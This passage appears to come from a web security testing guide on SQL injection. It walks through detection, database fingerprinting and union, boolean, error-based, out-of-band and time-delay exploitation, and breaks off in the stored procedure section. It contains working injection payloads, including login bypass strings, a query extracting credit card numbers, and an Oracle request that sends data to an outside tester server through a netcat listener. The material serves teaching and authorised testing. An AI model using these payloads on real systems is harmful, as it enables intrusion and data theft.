Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=10 or 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SQL Injection attacks can be divided into the following three classes:&lt;br /&gt;
&lt;br /&gt;
* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.&lt;br /&gt;
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).&lt;br /&gt;
* Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. &lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):&lt;br /&gt;
 &lt;br /&gt;
* Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.&lt;br /&gt;
* Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.&lt;br /&gt;
* Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.&lt;br /&gt;
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).&lt;br /&gt;
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.&lt;br /&gt;
&lt;br /&gt;
==How to Test== &lt;br /&gt;
&lt;br /&gt;
===Detection Techniques===&lt;br /&gt;
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:&lt;br /&gt;
&lt;br /&gt;
* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).&lt;br /&gt;
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.&lt;br /&gt;
* E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a  database.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the &lt;br /&gt;
character string ''.&lt;br /&gt;
/target/target.asp, line 113&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the&lt;br /&gt;
varchar value 'test' to a column of data type int.&lt;br /&gt;
/target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
===Standard SQL Injection Testing===&lt;br /&gt;
&lt;br /&gt;
====Example 1 (classical SQL Injection):====&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='$username' AND Password='$password'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The query will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;amp;password=1'%20or%20'1'%20=%20'1 &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.&amp;lt;br&amp;gt; ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.'' Another example of query is the following:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is &amp;amp;quot;--&amp;amp;quot;. This said, the values that we'll use as Username and Password are:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1'))/*&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this way, we'll get the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &amp;lt;/pre&amp;gt;&lt;br /&gt;
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The URL request will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;amp;password=foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator &amp;amp;quot;LIMIT &amp;amp;lt;num&amp;amp;gt;&amp;amp;quot;, where &amp;amp;lt;num&amp;amp;gt; is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1')) LIMIT 1/* &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this way, we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;amp;password=foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
====Example 2 (simple SELECT statement):====&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the request:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this case, probably the application would return some message telling us there is no content available or a blank page. Then&lt;br /&gt;
the tester can send a true statement and check if there is a valid result:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
====Example 3 (Stacked queries):====&lt;br /&gt;
&lt;br /&gt;
Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
A way to exploit the above scenario would be:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10; INSERT INTO users (…)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This way is possible to execute many queries in a row and independent of the first query.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
===Fingerprinting the Database===&lt;br /&gt;
 &lt;br /&gt;
Even though the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.&lt;br /&gt;
&lt;br /&gt;
1) The first way to find out what back end database is used is by observing the error returned by the application. The following are some examples of error messages:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
MySql:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;You have an error in your SQL syntax; check the manual&lt;br /&gt;
that corresponds to your MySQL server version for the&lt;br /&gt;
right syntax to use near '\'' at line 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Oracle:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-00933: SQL command not properly ended&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
MS SQL Server:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft SQL Native Client error ‘80040e14’&lt;br /&gt;
Unclosed quotation mark after the character string&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
PostgreSQL:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Query failed: ERROR: syntax error at or near&lt;br /&gt;
&amp;amp;quot;’&amp;amp;quot; at character 56 in /www/site/test.php on line 121.&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
2) If there is no error message or a custom error message, the tester can try to inject into string fields using varying concatenation techniques:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
MySql:  ‘test’ + ‘ing’&lt;br /&gt;
&lt;br /&gt;
SQL Server: ‘test’ ‘ing’&lt;br /&gt;
 &lt;br /&gt;
Oracle: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
PostgreSQL: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
===Exploitation Techniques ===&lt;br /&gt;
 &lt;br /&gt;
==== Union Exploitation Technique ====&lt;br /&gt;
  &lt;br /&gt;
The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT Name, Phone, Address FROM Users WHERE Id=$id&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will set the following $id value:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will have the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected two other values. These two values are necessary because the two queries must have an equal number of parameters/columns in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 ORDER BY 10--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Unknown column '10' in 'order clause'&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query fails, the tester will probably see a message like:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;All cells in a column must have the same datatype&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success, the first column can be an integer. Then the tester can move further and so on:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Boolean Exploitation Technique ====&lt;br /&gt;
 &lt;br /&gt;
The Boolean exploitation technique is very useful when the tester finds a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect). &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?id=1'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''SUBSTRING (text, start, length)''': returns a substring starting from the position &amp;amp;quot;start&amp;amp;quot; of text and of length&lt;br /&gt;
&amp;amp;quot;length&amp;amp;quot;. If &amp;amp;quot;start&amp;amp;quot; is greater than the length of text, the function returns a null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''LENGTH (text)''': it gives back the number of characters in the input text.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
That creates the following query (from now on, we will call it &amp;amp;quot;inferential query&amp;amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND '1' = '2 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Which will create the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order&lt;br /&gt;
to decide the result of the test.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will insert the following value for the field ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Error based Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. Oracle 10g):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-292257: host SCOTT unknown&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Out of band Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
This technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”.  The tester can set up a webserver (e.g. Apache) or use the Netcat tool:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
/home/tester/nc –nLp 80&lt;br /&gt;
 &lt;br /&gt;
GET /SCOTT HTTP/1.1&lt;br /&gt;
Host: testerserver.com&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
==== Time delay Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
The time delay exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. MySql 5.x):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example the tester if checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
==== Stored Procedure Injection ====&lt;br /&gt;
  &lt;br /&gt;
When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create procedure user_login @username varchar(20), @passwd varchar(20) &lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(250)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select 1 from users&lt;br /&gt;
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
&lt;br /&gt;
User input:&lt;br /&gt;
